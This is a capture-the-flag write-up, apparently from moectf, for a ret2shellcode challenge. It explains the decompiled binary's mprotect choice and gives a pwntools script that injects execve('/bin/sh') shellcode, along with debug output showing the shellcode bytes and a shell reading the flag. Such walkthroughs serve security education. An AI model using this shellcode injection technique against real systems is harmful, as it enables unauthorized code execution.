The original Chinese article was written by a human and only proofread with generative AI. This English version was translated with AI.
According to the hint, this challenge uses ret2shellcode.1
As usual, open the binary in IDA.
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+0h] [rbp-20h] BYREF
int prot; // [rsp+4h] [rbp-1Ch]
int v6; // [rsp+8h] [rbp-18h]
int v7; // [rsp+Ch] [rbp-14h]
void *s; // [rsp+10h] [rbp-10h]
unsigned __int64 v9; // [rsp+18h] [rbp-8h]
v9 = __readfsqword(0x28u);
init(argc, argv, envp);
s = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
if ( s == (void *)-1LL )
{
perror("mmap");
return 1;
}
memset(s, 0, 0x1000uLL);
v6 = 0;
prot = 0;
puts("In a ret2text exploit, we can use code in the .text segment.");
puts("But now, there is no 'system' function available there.");
puts("How can you get the flag now? Perhaps you should use shellcode.");
puts("But what is shellcode? What can you do with it? And how can you use it?");
puts("I will give you some choices. Choose wisely!");
__isoc99_scanf("%d", &v4);
do
v7 = getchar();//
while ( v7 != 10 && v7 != -1 );
if ( v4 == 4 )
{
if ( v6 == 1 )
puts("You can only make one change!");
prot = 7;
v6 = 1;
}
else
{
if ( v4 > 4 )
goto LABEL_24;
switch ( v4 )
{
case 3:
if ( v6 == 1 )
puts("You can only make one change!");
prot = 4;
v6 = 1;
break;
case 1:
if ( v6 == 1 )
puts("You can only make one change!");
prot = 1;
v6 = 1;
break;
case 2:
if ( v6 == 1 )
puts("You can only make one change!");
prot = 3;
v6 = 1;
break;
default:
LABEL_24:
puts("Invalid choice. The space remains in its chaotic state.");
exit(1);
}
}
if ( mprotect(s, 0x1000uLL, prot) == -1 )
{
perror("mprotect");
exit(1);
}
puts("\nYou have now changed the permissions of the shellcode area.");
puts("If you can't input your shellcode, think about the permissions you just set.");
read(0, s, 0x1000uLL);
((void (*)(void))s)();
return 0;
}
int mprotect(const void *start, size_t len, int prot);2
mprotect()changes the protection flags of thelen-byte memory region beginning atstartto the value specified byprot.
protcan contain the following values, combined with the bitwise OR operator (|):
PROT_READ: the memory region can be read;
PROT_WRITE: the memory region can be written;
PROT_EXEC: the memory region can be executed;
PROT_NONE: the memory region cannot be accessed.The protection constants are defined as follows:
#define PROT_NONE 0x0 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4
Here we set it to
0x1 | 0x2 | 0x4, which is0x7.
Notice that ((void (*)(void))s)(); casts s to a pointer to a function that takes no arguments and returns void, then calls it directly.
Therefore, we only need to construct the shellcode.
pwntools script:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = connect("127.0.0.1", 39683)
shellcode = asm(shellcraft.sh())
# #
io.sendline(b'4')
#
io.sendline(shellcode)
io.interactive()
Output:
[x] Opening connection to 127.0.0.1 on port 39683
[x] Opening connection to 127.0.0.1 on port 39683: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 39683: Done
[DEBUG] ...
[DEBUG] Sent 0x2 bytes:
b'4\n'
[DEBUG] Sent 0x31 bytes:
00000000 6a 68 48 b8 2f 62 69 6e 2f 2f 2f 73 50 48 89 e7 │jhH·│/bin│///s│PH··│
00000010 68 72 69 01 01 81 34 24 01 01 01 01 31 f6 56 6a │hri·│··4$│····│1·Vj│
00000020 08 5e 48 01 e6 56 48 89 e6 31 d2 6a 3b 58 0f 05 │·^H·│·VH·│·1·j│;X··│
00000030 0a │·│
00000031
[*] Switching to interactive mode
[DEBUG] Received ...
In a ret2text exploit, we can use code in the .text segment.
But now, there is no 'system' function available there.
How can you get the flag now? Perhaps you should use shellcode.
But what is shellcode? What can you do with it? And how can you use it?
I will give you some choices. Choose wisely!
[DEBUG] Received ...
You have now changed the permissions of the shellcode area.
If you can't input your shellcode, think about the permissions you just set.
ls
[DEBUG] Sent ...
[DEBUG] Received ...
bin
flag
lib
lib32
lib64
libexec
libx32
pwn
cat flag
[DEBUG] Sent ...
[DEBUG] Received ...
moectf{THIS_IS_FLAG}
[*] Interrupted
[*] Closed connection to 127.0.0.1 port 39683